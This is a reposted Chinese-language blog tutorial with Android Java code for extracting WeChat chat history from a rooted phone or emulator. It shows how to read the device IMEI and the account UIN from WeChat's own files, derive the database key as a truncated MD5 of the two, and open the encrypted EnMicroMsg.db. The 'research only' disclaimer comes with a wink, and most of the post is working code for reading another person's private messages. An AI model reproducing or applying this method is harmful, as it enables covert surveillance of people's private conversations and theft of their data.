獲取手機微信聊天內容 ( 附源碼 )


現在將基本思路梳理一下,以下為 Android 手機應用代碼,
在此僅作技術研究和討論,大家可別干壞事哦。
( 手動壞笑.jpg)
 
目標:獲取手機微信的聊天內容
 
思路:微信的聊天記錄保存在手機本地 EnMicroMsg.db 數據庫 message 表中。
只要獲取該數據庫,即可讀取對應的聊天內容;
 
難點及前提:
一,數據庫保存在 /data/data/com.tencent.mm/ 路徑下,普通手機沒有權限查看該目錄。
解決方案: 給手機 ROOT 或使用已 ROOT 的設備。
如何 ROOT 網上教程太多,在此不贅述。
或直接安裝 夜神模擬器,支持 ROOT 功能。
 
二,微信數據庫是加密的,需要破解微信數據庫的密碼
解決方案:密碼由 IMEI + UIN 再經過 MD5 可獲取。
 
如何破解微信數據庫的密碼,下面我們分三個部分說明:
1,獲取手機 IMEI
2,獲取微信 UIN
3,用密碼讀取數據庫內容
 
一,如何獲取 IMEI ?
微信配置文件已有記錄 IME 號,在路徑 /data/data/com.tencent.mm/MicroMsg/CompatibleInfo.cfg 文件中第 258 位。
獲取代碼為:
    public static String getWxIMEI(String CompatibleInfoPath) { String imei = ""; FileInputStream campatiFile = null; try { campatiFile = new FileInputStream(CompatibleInfoPath); ObjectInputStream localObjectInputStream = new ObjectInputStream(campatiFile); Map DL = (Map) localObjectInputStream.readObject(); imei = (String) DL.get(258); campatiFile.close(); } catch (Exception e) { e.printStackTrace(); } return imei; }
若取回來的 IMEI 為空,則使用設備自帶的 IMEI。
獲取代碼為:
 TelephonyManager tm = (TelephonyManager) getApplicationContext().getSystemService(TELEPHONY_SERVICE);
 String strIMEI =tm.getDeviceId();
 
二,如何獲取 UIN ?
UIN 在微信 app_brand_global_sp.xml 文件中,具體路徑在 /data/data/com.tencent.mm/shared_prefs/app_brand_global_sp.xml
內容如下,其中<string></string>標簽中就是 UIN :
 
獲取代碼為:
public void getUins(String filePath) { try { File app_brand_global_sp = new File(filePath); if (app_brand_global_sp.exists()) { FileInputStream in = new FileInputStream(app_brand_global_sp); DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); //取得DocumentBuilderFactory實例 DocumentBuilder builder = factory.newDocumentBuilder(); //從factory獲取DocumentBuilder實例 Document doc = builder.parse(in); //解析輸入流 得到Document實例 Element rootElement = doc.getDocumentElement(); NodeList items = rootElement.getElementsByTagName("set"); for (int i = 0; i < items.getLength(); i++) { Node item = items.item(i); NodeList properties = item.getChildNodes(); for (int j = 0; j < properties.getLength(); j++) { Node property = properties.item(j); String nodeName = property.getNodeName(); if (nodeName.equals("string")) { String Uin = property.getFirstChild().getNodeValue(); mapUIN.put(Common.getMD5("mm" + Uin).toLowerCase(), Uin); LogInputUtil.e(TAG, "MMUIN = " + Common.getMD5("mm" + Uin).toLowerCase() + ", UIN = " + Uin + ",path = " + filePath); } } } } } catch (Exception e) { MyLog.inputLogToFile(TAG, "獲取Uin異常 getUin errMsg = " + e.getMessage() + ",path = " + filePath); } }

 

三:獲取密碼取得微信數據庫聊天信息:
微信數據庫路徑為:/data/data/com.tencent.mm/wxFolderPath/EnMicroMsg.db
 
wxFolderPath 為 32 位文件夾,指某一個微信的文件路徑,不同微信數值不一樣,請具體實際情況輸入自己的文件夾 ,EnMicroMsg.db 就是這個微信的數據庫
 
獲取代碼為:
 String pass = Common.getMD5(wxIMEI + mapUIN.get(wxFolderPath)).substring(0, 7).toLowerCase();
獲得密碼后即可打開數據庫
代碼為:
String dbPath = "/data/data/com.tencent.mm/wxFolderPath/EnMicroMsg.db"; SQLiteDatabase dataTarget SQLiteDatabase.openOrCreateDatabase(dbPath , pass , null, hook);

 

數據庫可視化工具可下載:SQLite Database Browser

 

核心代碼示例 請點擊我


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM